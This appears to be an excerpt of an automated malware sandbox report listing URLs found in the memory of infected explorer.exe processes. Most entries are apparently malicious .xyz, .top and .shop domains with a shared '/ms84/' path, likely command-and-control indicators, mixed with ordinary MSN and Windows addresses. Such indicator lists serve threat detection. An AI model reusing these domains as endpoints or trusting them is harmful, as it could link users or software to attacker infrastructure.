          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.5syp.xyz/ms84/www.kn510v1.top
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.5syp.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.764.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.764.xyz/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.764.xyz/ms84/www.taff-ltpugj.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.764.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.aby-qwjqlg.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.aby-qwjqlg.xyz/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.aby-qwjqlg.xyz/ms84/www.ittlepawprints.app
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.aby-qwjqlg.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.agieworld.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.agieworld.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.agieworld.xyz/ms84/www.ixiaopu.top
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.agieworld.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyz/ms84/www.hlut-government.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.duxrib.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ecurity-ukgaxq.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ecurity-ukgaxq.xyz/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ecurity-ukgaxq.xyz/ms84/www.oco188rtp.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ecurity-ukgaxq.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.elieve-nrrv.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.elieve-nrrv.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.elieve-nrrv.xyz/ms84/www.outh-kejj.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.elieve-nrrv.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.emesiartwork.net
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.emesiartwork.net/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.emesiartwork.net/ms84/www.risiddivinayaka.net
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.emesiartwork.netReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.erform-tgap.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.erform-tgap.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.erform-tgap.xyz/ms84/www.agieworld.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.erform-tgap.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.hlut-government.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.hlut-government.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.hlut-government.xyz/ms84/www.emesiartwork.net
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.hlut-government.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ikigorakos.net
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ikigorakos.net/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ikigorakos.net/ms84/www.764.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ikigorakos.netReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ittlepawprints.app
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ittlepawprints.app/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ittlepawprints.app/ms84/www.vqq-national.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ittlepawprints.appReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixiaopu.top
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixiaopu.top/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixiaopu.top/ms84/www.vqq-national.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ixiaopu.topReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.kn510v1.top
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.kn510v1.top/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.kn510v1.top/ms84/www.duxrib.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.kn510v1.topReferer:
          Source: explorer.exe, 00000003.00000000.1452754587.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009237000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.c
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mployee-jkmmz.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mployee-jkmmz.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mployee-jkmmz.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.oco188rtp.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.oco188rtp.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.oco188rtp.xyz/ms84/www.duxrib.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.oco188rtp.xyz/ms84/www.uiejosdarksumdauts.shop
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.oco188rtp.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.outh-kejj.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.outh-kejj.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.outh-kejj.xyz/ms84/www.mployee-jkmmz.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.outh-kejj.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ridging-solutions-llc.net
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ridging-solutions-llc.net/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ridging-solutions-llc.net/ms84/www.uhy-key.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ridging-solutions-llc.netReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rilseguloseheating.shop
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rilseguloseheating.shop/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rilseguloseheating.shop/ms84/www.erform-tgap.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.rilseguloseheating.shopReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.risiddivinayaka.net
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.risiddivinayaka.net/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.risiddivinayaka.net/ms84/www.uhy-key.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.risiddivinayaka.netReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.taff-ltpugj.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.taff-ltpugj.xyz/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.taff-ltpugj.xyz/ms84/www.yzwj-she.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.taff-ltpugj.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uhy-key.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uhy-key.xyz/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uhy-key.xyz/ms84/www.ecurity-ukgaxq.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uhy-key.xyz/ms84/www.rilseguloseheating.shop
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uhy-key.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uiejosdarksumdauts.shop
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uiejosdarksumdauts.shop/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uiejosdarksumdauts.shop/ms84/www.aby-qwjqlg.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.uiejosdarksumdauts.shopReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.unwaleheathyhibbing.cfd
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.unwaleheathyhibbing.cfd/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.unwaleheathyhibbing.cfd/ms84/www.oco188rtp.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.unwaleheathyhibbing.cfdReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.vqq-national.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.vqq-national.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vqq-national.xyz/ms84/www.xcoy-product.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.vqq-national.xyz/ms84/www.xfetchbesnowsblacher.shop
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.vqq-national.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xcoy-product.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xcoy-product.xyz/ms84/
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xcoy-product.xyz/ms84/www.elieve-nrrv.xyz
          Source: explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xcoy-product.xyzReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.xfetchbesnowsblacher.shop
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.xfetchbesnowsblacher.shop/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.xfetchbesnowsblacher.shop/ms84/www.5syp.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.xfetchbesnowsblacher.shopReferer:
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.yzwj-she.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.yzwj-she.xyz/ms84/
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.yzwj-she.xyz/ms84/www.ridging-solutions-llc.net
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.yzwj-she.xyzReferer:
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOSA4
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOSd
          Source: explorer.exe, 00000003.00000002.2308475424.000000000702D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.000000000702D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2723546942.0000000008C45000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C5A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
          Source: explorer.exe, 0000000D.00000002.2723546942.0000000008C7E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
          Source: explorer.exe, 00000003.00000002.2312821972.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2721754963.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381674257.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380904338.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2462247931.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2452028557.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2456330575.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2385694566.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2384419569.0000000008B2D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc
          Source: explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007BA0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
          Source: explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2721754963.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381674257.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380904338.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2462247931.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2452028557.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2456330575.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2385694566.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2384419569.0000000008B2D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
          Source: explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
          Source: explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
